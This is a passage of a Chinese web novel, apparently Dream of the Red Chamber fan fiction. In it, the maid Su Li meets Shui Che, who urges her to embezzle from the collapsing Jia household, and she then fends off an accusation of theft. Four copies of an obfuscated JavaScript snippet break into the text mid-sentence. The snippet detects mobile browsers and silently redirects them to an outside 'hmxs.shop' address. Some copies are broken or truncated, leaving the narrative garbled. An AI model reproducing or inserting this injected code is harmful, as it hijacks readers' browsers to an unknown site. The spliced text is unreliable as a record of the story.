推入池塘？苏璃心中一寒。这绝非意外！麝月是宝玉身边的大丫鬟，地位不低，谁会对她下手？是冲着她来的，还是……冲着自己？因为自己与宝玉房中人来往较多？ 她立刻联想到白日在园中遇见的那个可疑的张婆子，还有刚才跟踪自己的黑影。难道，自己暗中调查暖香坞的事，真的触动了某些人的利益，引得他们不惜对麝月下手，以作警告？或者，是针对宝玉？ “别怕，先跟我进来。”苏璃稳住心神，将麝月拉进自己小屋，闩上门，点了灯。灯光下，麝月脸色惨白，衣裙下摆果然沾了些泥水。 苏璃给她倒了杯热茶，低声问：“你看清那人的模样了吗？” 麝月摇头，惊魂未定：“天太黑，没看清，只觉是个男人的身形，力气很大。” 男人？苏璃眉头紧锁。事情更复杂了。 “此事暂时不要声张。”苏璃沉吟道，“你今夜就歇在我这里，明日一早，我悄悄送你回去，只说在我这里讨论针线晚了。至于推你的人……我会留意的。” 麝月感激涕零，连连点头。这一夜，两人都未能安眠。苏璃更是睁眼到天亮，脑海中反复思量。威胁已经近在咫尺，对方在暗，自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16998054|192429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己在明，麝月之事是一个警告，下次恐怕就不会这么简单了。 次日一早，苏璃依言将麝月悄悄送回怡红院，只说是讨论花样晚了。袭人等人虽有疑惑，也未深究。 然而，苏璃知道，危机并未解除。她必须尽快做出决断。坐以待毙，只有死路一条。或许……是该动用那张“底牌”的时候了。水澈留下的线索，是唯一的希望，也是最大的风险。 她利用午间人少，再次悄然来到大观园东南角，暖香坞附近。她没有靠近小库房，而是躲在一处假山石后，仔细观察。果然，在不远处的树丛后，她再次看到了那个佝偻的身影。她似乎并非在劳作，更像是在蹲守。 苏璃心念电转，从另一条小径快速离开。她必须找到一个绝对安全、且能传递消息的机会。府中人多眼杂，她的任何异常举动都可能被监视。 机会在几天后来临。府中要采买一批上等檀香供奉宗祠，指定要去城南老字号“福瑞香铺”。苏璃主动揽下了核对采买单、支取银两的差事，理由是此香贵重，需仔细验看。平儿不疑有他，允了。 出府那日，苏璃特意换了身不起眼的青布衣裙，只带了一个老实的小丫鬟。她先去了福瑞香铺，仔细验看了货物，付了银两，让伙计将香直接送去府上。然后，她对小丫鬟道：“我去隔壁街的‘文宝斋’看看新到的账本样式，你在此处等我，不要乱走。”小丫鬟不疑有他，乖乖在香铺门口等候。 苏璃快步拐进一条小巷，七拐八绕，确定无人跟踪后，迅速来到“粤海记”铺子附近。她没有直接进去，而是走进对面一家茶楼，要了个临街的雅座，点了一壶茶，静静等待。 约莫过了小半个时辰，她看到“粤海记”的掌柜送一位客人出来。她不动声色地下楼，在掌柜转身回店时，状似无意地与他擦肩而过，将一个小小的、揉成一团的纸团，飞快地塞进了掌柜袖中。 纸团上只有几个字：“事急，求见四爷。苏。” 这是她根据水澈上次提到的“与粤海记东家有旧谊”，进行的最大胆的试探。她不知道这掌柜是否可靠，不知道消息能否传到水澈手中，更不知道水澈会作何反应。但她已别无选择。 做完这一切，她手心已全是冷汗。她若无其事地回到福瑞香铺，带上小丫鬟，返回贾府。 接下来的两日，苏璃如坐针毡。她既期盼着水澈的回应，又恐惧着回应带来的未知。府中的气氛依旧压抑，凤姐的病反反复复，贾琏为着银子的事又与凤姐口角，麝月那边虽未再出事，但也整日惶惶。 第三日傍晚，苏璃正在账房核对一份无关紧要的旧账，一个小丫鬟送来一个普通包裹，说是门房收到的，指明给璃姑娘。 苏璃心中一紧，谢过小丫鬟，待她离开，才小心打开包裹。里面是两本崭新的《女则》《女训》，并无任何异常。她仔细翻检，在第二本书的封皮夹层里，发现了一张薄如蝉翼的纸条。上面只有一行小字： “明日未时三刻，城西清水庵后竹林。” 字迹冷峻瘦硬，正是水澈。 苏璃将纸条紧紧攥在手心，几乎能听到自己心脏狂跳的声音。他答应了！但地点选在城外僻静的庵堂竹林，显然是为了避人耳目。明日未时三刻……她该如何出府？又能否安全抵达？ 窗外的天色，渐渐暗了下来，如同她此刻沉重又莫名燃起一丝希望的心。她知道，真正的冒险，或许才刚刚开始。而那个玄衣冷峻的男子，是救命的稻草，还是更深的漩涡，明日便见分晓。 48. 相见 水澈那张薄如蝉翼的纸条，如同投入滚油的水滴，在苏璃心中炸开，让她整夜辗转反侧。清水庵，城西一座香火不盛的小庵堂，后山有片竹林，僻静少人。未时三刻，正是午后最易犯困、人迹罕至的时辰。水澈选择此地，显然是经过深思熟虑，既要避人耳目，又给她留出了出府往返的时间。 如何出府，成了第一个难题。 她一个内宅丫鬟，若无正当理由，绝无可能独自离府半日。苦思一夜，苏璃终于想到一个勉强说得过去的借口。次日一早，她寻了个空，对平儿道：“平儿姐姐，我前日去福瑞香铺，听闻他们铺里新到了一批上等的沉速香，说是安神效果极好。我想着二奶奶近日总睡不安稳，太医开的安神香似乎效用不大，便想着……是否可以去请一些回来，给奶奶试试？只是那香需得亲自去选，旁人怕不识货。” 平儿正为凤姐的病情发愁，闻言想了想，道：“你倒是有心。只是……那铺子在城南，一来一回，怕是要大半日功夫，你手头的事……” “账目紧要的都已理清，剩下的不急在一时。我快去快回，耽搁不了。”苏璃忙道。 平儿见她神色恳切，又念及凤姐病情，便点头道：“既如此，你去吧。只是务必仔细挑选，早去早回。我让门上备车。” “不必麻烦车马了，”苏璃连忙阻止，“铺子离得不远，我走着去便好，也便宜些。”用车马动静太大，且必有车夫跟随，她如何能去清水庵？ 平儿有些疑惑，但见苏璃坚持，也只当她是想省事，便道：“既如此，你带个小丫头同去，也好有个照应。” “今日事多，让小丫头们忙吧，我一人足矣。”苏璃婉拒。多一人，便多一分风险。 平儿见她安排得妥当，便不再多言，只叮嘱她小心。苏璃心中暗松一口气，回房换了身半新不旧的藕荷色夹袄，青缎背心，系了条月白裙子，打扮得如同寻常出门办事的大丫鬟，并不惹眼。她将水澈那张纸条贴身藏好，又将一包散碎银子和几枚铜钱收入袖中，以备不时之需。 巳时刚过，苏璃便拿着平儿给的对牌，从西角门出了荣国府。春日阳光正好，街市上车水马龙，人声鼎沸。她无心流连，低着头，加快脚步，先向南走了一段，确认无人跟踪后，迅速拐入一条小巷，转而向西走去。 城西较城南更为冷清，多是小户人家和些不大景气的店铺。越往西走，人烟越稀，房屋也越发低矮破旧。苏璃心中忐忑，既盼着尽快见到水澈，问个明白，又害怕此行是自投罗网，落入未知的陷阱。 约莫走了大半个时辰，远远望见一座灰墙小庵，掩映在几株老槐树下，门庭冷落，正是清水庵。苏璃绕到庵后，果然见一片茂密竹林，风吹过，沙沙作响，更显幽静。她看了看日头，离未时三刻尚有一刻钟，便寻了块干净的青石坐下，平复着急促的呼吸和心跳。 时间一点点流逝，竹林里寂静得能听到自己的心跳声。各种念头在她脑中翻腾：水澈会来吗？他为何肯见她？他到底知道多少？今日相见，是福是祸？ 正当她心乱如麻之际，忽听竹林深处传来极轻微的脚步声。苏璃猛地抬头，只见一道玄色身影，分花拂柳，从容而来。正是水澈。 他今日未着锦袍，只穿了一身寻常的玄色布衣，未戴冠，用一根木簪随意绾着发，越发显得身姿挺拔，眉目清冽。他走到苏璃面前三步远处站定，目光平静地落在她脸上，仿佛此次相见，再寻常不过。 苏璃忙起身，敛衽行礼：“奴婢苏璃，见过四爷。”声音因紧张而微微发颤。 “不必多礼。”水澈虚扶一下，语气平淡，“此处僻静，但亦非久谈之地。长话短说，你冒险寻我，所为何事？” 他开门见山，毫不拖泥带水。苏璃深吸一口气，抬眸迎上他深邃的目光，决定不再迂回：“四爷明鉴。奴婢今日冒死求见，实因贾府已至生死存亡之秋，奴婢身陷其中，如履薄冰，进退维谷，特来向四爷求教一条生路。”她将“恒舒典”催债、府中银钱枯竭、凤姐病重、以及麝月疑似被推落水等事，择要紧处简略说了，末了道：“……如今府内怨声载道，外患迫在眉睫，奴婢人微言轻，虽掌着些账目，却如螳臂当车，眼看大厦将倾，不知何以自处。四爷曾言‘顺时而动，谋定后发’，如今时局危殆，敢问四爷，奴婢当如何‘动’，如何‘发’？” 她语速不快，但条理清晰，将贾府的窘迫与自身的危局和盘托出，目光坦诚而急切。这是孤注一掷的赌博，赌水澈对她确有几分不同，赌他愿意指点迷津。 水澈静静听着，脸上并无讶异之色，仿佛早已洞悉一切。待她说完，他沉默片刻，方缓缓开口，声音低沉而清晰：“贾府之败，非一日之寒。省亲、丧事，不过加速其亡。如今内囊尽空，外患频仍，已是积重难返。你欲凭一己之力挽狂澜，无异痴人说梦。” 这话如同冰水浇头，让苏璃心中一凉。但水澈话锋随即一转：“然，大厦倾覆，亦非旦夕之事。其间必有征兆、有余地。你所求生路，不在力挽狂澜，而在……趁乱取势，金蝉脱壳。” “趁乱取势？金蝉脱壳？”苏璃喃喃重复，眼中闪过思索的光芒。 “不错。”水澈目光锐利地看着她，“贾府如今如同即将沉没的巨船，船上之人，或争权夺利，或醉生梦死，或惶惶不可终日。你若随波逐流，必与船同沉。若想求生，须在船沉之前，寻到救生之舟，或……自己造一叶扁舟。” 他顿了顿，继续道：“你如今掌着账目，看似危险，亦是机遇。贾府百年积累，纵是败落，亦有可图之机。暖香坞中所见，不过冰山一角。其田庄、铺面、乃至一些见不得光的营生，盘根错节，其中漏洞、贪墨、隐匿的资产，数不胜数。风暴来临之前，正是浑水摸鱼之时。” 苏璃心中剧震！水澈这是在暗示她……趁火打劫？利用职务之便，暗中转移贾府的财产？ “四爷的意思是……让奴婢监守自盗？”她声音干涩。 水澈嘴角勾起一抹极淡的、近乎冷酷的弧度：“何必说得如此难听？贾府之财，取自民脂民膏，终将散于尘埃。你取之，不过是为其寻一去处，总好过填入无底洞，或落入虎狼之口。况且，你取之，亦非为享乐，而是为谋一条真正的生路，不是吗？” 他看穿了她的野心！苏璃脸颊微热，却无法反驳。她的确不甘心随贾府沉没，她想要自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17002532|192429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 由，想要掌控自己的命运。 “可是……奴婢该如何着手？府中眼线众多，稍有不慎，便是万劫不复。”这是最实际的问题。 “所以，需‘谋定后发’。”水澈道，“你如今兼管园账，出入大观园便利，暖香坞库房是关键。其中地契、借据，需尽快厘清副本，掌握虚实。府外田庄铺面，账目多有猫腻，你可借核对之名，暗中搜集证据，拿住那些庄头铺主的把柄，届时或可为我所用，或可换取资源。至于银钱转移……”他意味深长地看了她一眼，“‘粤海记’的渠道，或可一用。海外贸易，虽风险巨大，亦是积累资本、远离是非之捷径。” 海外贸易！苏璃心中豁然开朗！这正是她之前模糊设想却无力实施的计划！若有“粤海记”这等有背景的商号作为渠道，操作空间将大大增加！ “四爷……为何要帮奴婢？”这是她最大的疑惑。天下没有免费的午餐，水澈如此相助，所图为何？ 水澈深深看了她一眼，那目光复杂难辨，有审视，有探究，或许还有一丝……欣赏？“我并非帮你，只是觉得……你这丫头，有点意思。困于浅滩，可惜了。至于所图……”他顿了顿，语气恢复了一贯的淡漠，“他日你若真能成事，或许……对我亦有用处。眼下，你只需记住，行事需极其隐秘，切勿相信府中任何人，包括……王熙凤。” 最后三个字，他说得极轻，却如重锤敲在苏璃心上。连凤姐都不能信？ “风暴将起时，自保是本能。王熙凤是聪明人，但她的聪明，未必用在你身上。”水澈仿佛看穿了她的心思，“你好自为之。” 他说完，抬头看了看天色：“时辰不早，你该回去了。日后若非万分紧急，勿要轻易寻我。若有消息，可通过‘粤海记’掌柜传递，他是我的人。”说罢，不再多言，转身便欲离去。 “四爷！”苏璃忍不住唤住他。 水澈脚步微顿，并未回头。 “今日之言，奴婢铭记于心。大恩……不言谢。”苏璃对着他的背影，郑重一福。 水澈背影僵了一下，随即淡淡道：“路是自己走的。好自为之。”话音未落，人已消失在竹林深处，仿佛从未出现过。 苏璃独自站在竹林中，良久未动。水澈的一番话，如同在她黑暗中点亮了一盏灯，照亮了前路，却也显露出更多的险峻。趁乱取势，金蝉脱壳……这是条危险而孤独的路，但确是唯一的生路。 她摸了摸袖中那张已揉皱的纸条，眼中闪过一丝决绝。然后，她整理了一下衣裙，确定四周无人，迅速沿着来路离开。 返回荣国府的路，似乎比来时更加漫长。夕阳的余晖将她的影子拉得老长。府邸那朱红的大门，在她眼中，已不再是安身立命的庇护所，而是一座即将倾塌的、危机四伏的牢笼。 她知道，从今日起，她将不再是那个只知埋头算账、寻求庇护的丫鬟苏璃。她将成为一个潜伏在暗处的猎手，在暴风雨来临前，为自己谋划一场惊心动魄的……逃亡与新生。 而这一切的起点，就在那座看似平静、实则暗藏玄机的大观园，在那间不起眼的暖香坞小库房之中。 时间，不多了。 49. 浪急舟危 自清水庵竹林一晤，水澈那番“趁乱取势，金蝉脱壳”的话语提点，如同在苏璃心中点燃了一簇幽暗的火苗。 她不再仅仅是那个被动应对危机、祈求自保的丫鬟，而是开始以一种前所未有的冷静与决绝，审视着这座即将倾覆的华厦，暗中编织着自己的逃生之路。 然而，命运的浪潮，远比她预想的更为湍急险恶。就在她刚刚理清思绪，准备着手行动之际，几件接踵而至的祸事，如同惊涛骇浪，狠狠拍向早已千疮百孔的贾府，将所有人都卷入了更深更急的漩涡之中。 第一桩祸事，祸起于东府之人。贾珍被参之事，虽经多方打点，暂时压了下去，但并未了结。都察院那边似乎并未罢休，暗中仍在查访。这日，忽然有消息传来，说贾珍为平息事端，托人情走门路，不慎卷入了一桩更大的科场舞弊案中，虽非主犯，但牵涉颇深，已被暗中监控。消息虽未公开，但宁国府早已是风声鹤唳，贾珍等人被吓得称病不出，尤氏急得满嘴角起泡，连带着西府这边也人心惶惶。若贾珍罪名坐实，那整个贾家都有可能被牵连问罪！ 这消息如同晴天霹雳，震得东西两府主子、奴婢魂飞魄散。王夫人当时就捻断了佛珠，凤姐闻讯，惊怒交加，心口疼的老毛病顿时发作，呕出一口血来，昏厥过去。府中顿时乱作一团，请医的请医，报信的报信，平儿、苏璃等人守在凤姐床前，寸步不离。 好容易凤姐悠悠转醒，面色灰败，气息微弱，拉着平儿的手，泪如雨下：“我这辈子争强好胜，想不到……想不到贾家竟要败在我手里！珍大哥若是……我可怎么对得起老太太、太太啊！”言语之间，已是一片绝望。 平儿与苏璃只能含泪劝慰，心中却知，大厦将倾，已非人力可挽。苏璃更是心沉谷底，贾珍若倒，贾府必受重创，届时树倒猢狲散，她这“金蝉脱壳”的计划，难度将倍增，时间也更加紧迫！ 祸不单行。贾珍之事尚未平息，又一桩麻烦找上门来，直指西府内部。这日，王夫人正心烦意乱，在房中礼佛，忽见周瑞家的急匆匆进来，脸色古怪，欲言又止。 “什么事？吞吞吐吐的！”王夫人烦躁地问。 周瑞家的扑通一声跪下，哭丧着脸道：“太太，不好了！方才门上传来消息，说是……说是琏二爷在外头包占的那个叫什么尤二姐的，不知怎的知道了二奶奶……知道了府里的事，今日竟闹到咱们后街门上来了！口口声声说要见琏二爷，见老太太、太太，求个公道！如今围了一群人在那里看热闹呢！” “什么？！”王夫人眼前一黑，差点晕倒。贾琏琏在外风流，她素有耳闻，只当是男人常情，睁只眼闭只眼，万没想到这外室竟如此大胆，敢闹上门来！而且偏偏是在贾珍出事、府中风雨飘摇的当口！这要是传扬出去，贾家的脸面可就丢尽了！ “混账东西！”王夫人气得浑身发抖，“都是琏儿这个不争气的惹出来的祸事！快去！快去把那个不知廉耻的东西打发走！多给些银子，让她闭嘴滚蛋！再让人去把琏儿给我找回来！” 周瑞家的连滚爬爬地去了。王夫人跌坐在椅上，只觉得天旋地转。一波未平，一波又起，这日子可怎么过！ 尤二姐闹门之事，虽被周瑞家的带人连哄带吓、许以重金暂时压了下去，但消息却不胫而走，在府中悄悄传开。下人们窃窃私语，主子们颜面扫地。贾琏琏被王夫人叫去痛骂一顿，回来又与凤姐大吵一架。凤姐本就病重，受此刺激，病情更是雪上加霜，几日水米不进，眼看着形销骨立。 而真正的致命一击，却在人们意想不到的地方悄然爆发。这日，林之孝家的连滚爬爬地冲进凤姐房中，也顾不得礼数，带着哭腔喊道：“二奶奶！大事不好了！‘恒舒典’……‘恒舒典’的人来了！带着借据，说……说咱们府上借的银子到期未还，利钱也没结，他们要……要查封抵债了！” “查封抵债”四个字，如同惊雷，炸得病榻上的凤姐猛地坐起，又无力地瘫软下去，面如金纸，气若游丝。平儿、苏璃等人也吓得魂飞魄散。银号上门逼债，还要查封？这简直是奇耻大辱！若真被他们闯进来查封物品，贾府可就彻底沦为京城笑柄了！ “他们……他们怎么敢！”凤姐咬着牙，挤出几个字。 “来的不是寻常伙计，是东家身边的管事，带着好几个彪形大汉，说……说咱们府上如今外面风声不好，他们也是不得已……”林之孝家的哭道。 “混账！欺人太甚！”凤姐剧烈咳嗽起来，“去……去账上看看，还有多少银子？先……先应付过去……” “账上早就空了！连这个月的月钱还没着落呢！”林之孝家的绝望道。 “去……去把我那个紫檀匣子……拿来……”凤姐指的是她最后一点体己首饰。 平儿含泪去取。苏璃站在一旁，手脚冰凉。水澈预言的“浪急”，竟来得如此之快，如此之猛！贾珍案发、外室闹门、银号逼债……三管齐下，贾府这艘破船，已到了倾覆的边缘！ 平儿刚取出匣子，还未来得及开，忽见一个小丫鬟面无人色地跑进来：“二奶奶！平姑娘！不好了！东府珍大奶奶那边派人来说，珍大爷……珍大爷被都察院请去问话了！” 最后一丝希望，彻底破灭。凤姐闻言，眼白一翻，彻底晕死过去。房中顿时哭喊声、呼唤声响成一片。 苏璃强忍着眩晕，扶住桌角才站稳。她看到平儿惨白的脸，看到林之孝家的绝望的眼神，看到满屋子的慌乱。她知道，最后的时刻，到了。贾府的天，塌了。再不走，就真的来不及了。 然而，就在这极度的混乱与绝望中，苏璃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17006568|192429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 却异常地冷静下来。她迅速扫视屋内，目光落在平儿手中那个紫檀匣子上。那是凤姐最后的体己，也是她此刻唯一可能接触到的、为数不多的现成财物。 机会！危险中的机会！趁乱取势！ 她深吸一口气，走到平儿身边，低声道：“平儿姐姐，奶奶晕过去了，这里离不开人。外面银号的人还在闹，林妈妈一个人恐怕应付不了。奶奶的匣子我先收着，你赶紧去找琏二爷，再去回禀太太，拿个主意！这里我先照看着。” 平儿早已六神无主，见苏璃如此镇定，如同抓住了救命稻草，想也不想便将匣子塞到她手里：“好妹妹，你快收好！我这就去！”说罢，匆匆跑了出去。 苏璃接过那沉甸甸的匣子，手心沁出冷汗。她迅速将匣子塞入怀中，用宽大的衣袖掩住。然后，她快步走到窗边，对外面乱作一团的小丫鬟喝道：“都慌什么！快去请太医！再去个人，告诉门上，无论如何先把人稳住，就说奶奶立刻派人送银子去！” 她的镇定感染了众人，小丫鬟们稍微安定，纷纷领命而去。 苏璃看了一眼床上昏迷不醒的凤姐，又望了望窗外纷乱的景象，心中已有了决断。不能再等了！必须立刻行动！暖香坞的秘密，粤海记的渠道，现在就要用上！ 她转身，快步走向门口。然而，就在她即将踏出房门的一刹那，周瑞家的却阴沉着脸，带着两个婆子，挡在了门口。 “璃姑娘，这是要去哪儿啊？”周瑞家的皮笑肉不笑地问道，目光却锐利地扫过苏璃略显鼓胀的胸前，“奶奶病着，姑娘不在跟前伺候，拿着奶奶的匣子，这是要做什么去？” 周瑞家的带着两个膀大腰圆的婆子，如同门神般堵在门口，皮笑肉不笑，眼神却如淬了毒的针，死死盯住苏璃略显鼓胀的胸前。空气瞬间凝固，连凤姐房中压抑的呻吟和哭泣声都仿佛被冻住了。 苏璃的心跳骤然停止了一瞬，随即以更快的速度狂跳起来，几乎要撞破胸腔。她怀中那个紫檀木匣子，此刻烫得像一块烧红的烙铁。 周瑞家的！ 她怎么会在这个节骨眼上出现？是巧合，还是……一直就在暗中盯着她？ 电光石火间，无数念头在苏璃脑中闪过。周瑞家的是王夫人的陪房，与凤姐素来面和心不和，更是因之前账目之事对苏璃恨之入骨。此刻发难，显然是瞅准了凤姐昏迷、府中大乱、无人主事的绝佳时机！她定是看到了平儿将匣子交给自己，便想趁机坐实自己“偷盗主家财物”的罪名，一箭双雕，既除了眼中钉，又能向王夫人表功，甚至可能借此打击凤姐！ 绝不能让她得逞！否则，便是万劫不复！ 苏璃强迫自己快速冷静下来，脸上则迅速换上一副焦急而不解的神情，微微蹙眉，声音却带着恰到好处的镇定说到： 50. 解决 “周妈妈这是何意？奶奶急火攻心晕厥，银号的人在外逼债，平儿姐姐去寻二爷和太太拿主意，命我暂管奶奶的紧要物件，以防忙中出错。 妈妈不去前面帮着安抚债主，阻拦我作甚？若是耽误了大事，惊扰了老太太，这责任谁担待得起？” 她语速不快，却字字清晰，先将“奉平儿之命”、“以防出错”、“惊扰老太太”这几顶大帽子先抬了出来。 周瑞家的没料到苏璃如此镇定，且反将一军，噎了一下，但立刻冷笑道：“哟，璃姑娘好利的嘴！平姑娘让你暂管？我怎么没听见？这府里谁不知道，奶奶的体己匣子，向来是平姑娘亲自掌管，何时轮到你来‘暂管’了？莫不是瞧着府里乱了，想浑水摸鱼吧？”她身后两个婆子也上前一步，面露凶光。 “周妈妈慎言！”苏璃脸色一沉，目光锐利地扫过周瑞家的和她身后的婆子，“奶奶昏迷不醒，平姐姐分身乏术，将紧要物件交予可靠之人保管，乃是常情！妈妈不分青红皂白，便污人清白，是何道理？莫非妈妈以为，平姐姐和我是那等趁火打劫的小人不成？还是妈妈觉得，这府里乱了，便可由着你信口雌黄、以下犯上了？”她句句紧逼，将“污蔑”、“以下犯上”的罪名反扣回去，同时点出自己与平儿的同盟关系。 周瑞家的被噎得脸色涨红，强辩道：“你……你休要胡搅蛮缠！我分明看见平姑娘把匣子塞给你！如今府里不太平，我自然要替主子多留个心眼！你把匣子拿出来，当着大家的面打开看看，若真是平姑娘所托，我自然给你赔罪！” 打开匣子？苏璃心中冷笑。匣子一开，众目睽睽之下，她便是浑身是嘴也说不清！周瑞家的打的就是这个主意！ “周妈妈好大的口气！”苏璃不退反进，上前一步，逼视着周瑞家的，“奶奶的体己匣子，也是你能说开就开的？便是太太来了，也要问过奶奶的意思！妈妈是奉了谁的命，敢来查检奶奶的私房？莫非是觉得奶奶不行了，急着来抄检不成？”这话已是极其严厉，直指周瑞家的心怀叵测。 “你……你血口喷人！”周瑞家的气急败坏，指着苏璃的鼻子，“我看你就是做贼心虚！来人，给我把她拿下，搜！” 两个婆子应声便要上前。千钧一发之际！ “住手！”一声虚弱却带着怒意的叱喝从榻上传来。 众人皆是一惊，循声望去，只见凤姐不知何时竟醒转过来，半倚在引枕上，脸色惨白如纸，胸口剧烈起伏，但一双凤眸却燃着骇人的怒火，死死盯住周瑞家的。 “奶……奶奶！”周瑞家的吓得魂飞魄散，噗通一声跪倒在地。两个婆子也僵在原地，不敢动弹。 苏璃心中巨石落地，险些软倒，强撑着转身，快步走到床前，声音带着哽咽和恰到好处的委屈：“奶奶！您醒了！您可要为奴婢做主啊！”她巧妙地将匣子往凤姐手边一送，既表明了东西在，又显得自己是急于寻求庇护。 凤姐看也没看那匣子，目光如刀，剐在周瑞家的身上，声音嘶哑却带着不容置疑的威严：“周瑞家的……你好……你好大的胆子！我还没死呢……就敢来我屋里……喊打喊杀了？谁给你的狗胆……来动我的人……查我的东西？嗯？” “奶奶恕罪！奶奶恕罪！”周瑞家的磕头如捣蒜，“奴婢……奴婢是怕璃姑娘年轻，拿了贵重东西，忙乱中有所闪失，所以才……才多嘴问一句，绝无他意啊！” “闪失？”凤姐冷笑，气息不稳，咳嗽起来，“我看……你是巴不得有闪失！滚！给我滚出去！再敢踏进我这院子一步……我扒了你的皮！” 周瑞家的如蒙大赦，连滚爬爬地带着婆子跑了。 凤姐喘着粗气，疲惫地闭上眼。苏璃忙上前替她顺气，递上温水。凤姐抿了一口，推开，目光复杂地看向苏璃，又落在那个紫檀匣子上，半晌，才无力地挥挥手：“匣子……你收着吧……和平儿……料理清楚……别……别让人钻了空子……” “是，奴婢明白。”苏璃恭声应道，心中百感交集。凤姐此刻的信任，带着临终托孤般的悲凉。 正在这时，平儿急匆匆带着贾琏琏和王夫人屋里的玉钏儿赶了回来。见到凤姐醒来，平儿喜极而泣，忙上前伺候。 贾琏琏一脸晦气，嘟囔道：“外面乱成一锅粥了！‘恒舒典’的人还在闹，怎么说都不走！” 王夫人听了玉钏儿的回禀，也赶了过来，见到屋內情形，眉头紧锁，先问了凤姐病情，又沉声道：“外面的事要紧，琏儿，你拿我的对牌，去库上支……支二百两银子，先把人打发走，无论如何，不能让他们闹起来！” 贾琏琏苦着脸：“太太，库上早没现银了！上次当首饰的银子也快见底了！” 王夫人脸色一白，捻着佛珠的手微微发抖。屋内陷入死寂。银号逼债，竟连二百两银子都拿不出了！这是何等的窘迫！ 就在这时，苏璃深吸一口气，上前一步，对王夫人和凤姐道：“太太，奶奶，奴婢或许有个法子，可解燃眉之急。” 所有人的目光瞬间集中到她身上。 苏璃不慌不忙，从怀中取出一个小巧的锦囊，打开，里面是几锭黄澄澄的金锞子，约莫有五十两左右。“这是奴婢这些年积攒的月钱和赏赐，兑换成的金子，本是想……日后应急所用。如今府中有难，奴婢愿尽绵薄之力，暂缓燃眉之急。虽杯水车薪，但加上库中余银，或许能应付过去。” 这金子，自然不是她的月钱，而是她今日出门前，以防万一，从水澈当初赏赐的那包金银中取出的一部分。此刻拿出，正是时候！ 屋内众人皆惊。王夫人愕然地看着她，凤姐眼中闪过一抹复杂的光，平儿更是掩口惊讶。贾琏琏则瞪大了眼睛。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17010476|192429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“这……这如何使得……”王夫人迟疑道。 “太太，”苏璃恳切道，“府中艰难，奴婢尽些心意是应当的。况且，这只是暂借，待府中周转开来，再还与奴婢便是。眼下打发银号的人要紧，免得事情闹大，伤了府里体面。” 王夫人看了看床上气息奄奄的凤姐，又看了看一脸急色的贾琏琏，再想到门外虎视眈眈的债主，终于叹了口气，对贾琏琏道：“既如此……琏儿，你就先拿去用吧。苏璃……难得你一片忠心。” 贾琏琏忙不迭接过金子，带着小厮去了。 王夫人又安慰了凤姐几句，便带着玉钏儿离开了。 屋内只剩下凤姐、平儿和苏璃。凤姐看着苏璃，良久，才缓缓道：“难为你了……今日……多亏了你。” 苏璃垂首：“奴婢分内之事。” 凤姐疲惫地闭上眼：“你们都下去吧……我乏了。” 平儿和苏璃退了出来。走到廊下，平儿一把抓住苏璃的手，眼中含泪：“好妹妹！今日真是……真是吓死我了！也多亏了你机警，又拿出体己……不然……” 苏璃反握住她的手，低声道：“姐姐快别这么说，我们是一心的。只是……经此一事，周瑞家的怕是恨毒了我，日后还需更加小心。” 平儿点头，咬牙切齿道：“那个老虔婆！日后有她好看！” 风波暂时平息了。银号的人拿了金子，总算被打发走。但贾府这艘破船的窟窿，却已暴露无遗。经此一闹，府中人心更加涣散，各种流言蜚语悄然蔓延。 苏璃回到自己小屋，关上门，背靠着门板，才允许自己微微颤抖。刚才与周瑞家的对峙，简直是刀尖上跳舞！幸好凤姐及时醒来！幸好她早有准备！ 她摸了摸怀中那个沉甸甸的紫檀木匣子，又想起方才拿出的金子。危机暂时解除，但更大的风暴正在酝酿。周瑞家的绝不会善罢甘休，王夫人今日虽承了她的情，但心中作何想，也未可知。而府中的财政危机，已是迫在眉睫。 她必须加快行动了！暖香坞的秘密，必须尽快弄到手！粤海记的渠道，必须尽快打通！时间，真的不多了。 她走到窗边，看着窗外沉沉的夜色。今日她虽然险险过关，甚至赢得了凤姐更深一层的依赖和王夫人一丝微妙的感激，但她知道，自己已经彻底站到了风口浪尖上。周瑞家的那一系人，还有府外虎视眈眈的债主和敌人，都不会放过她。 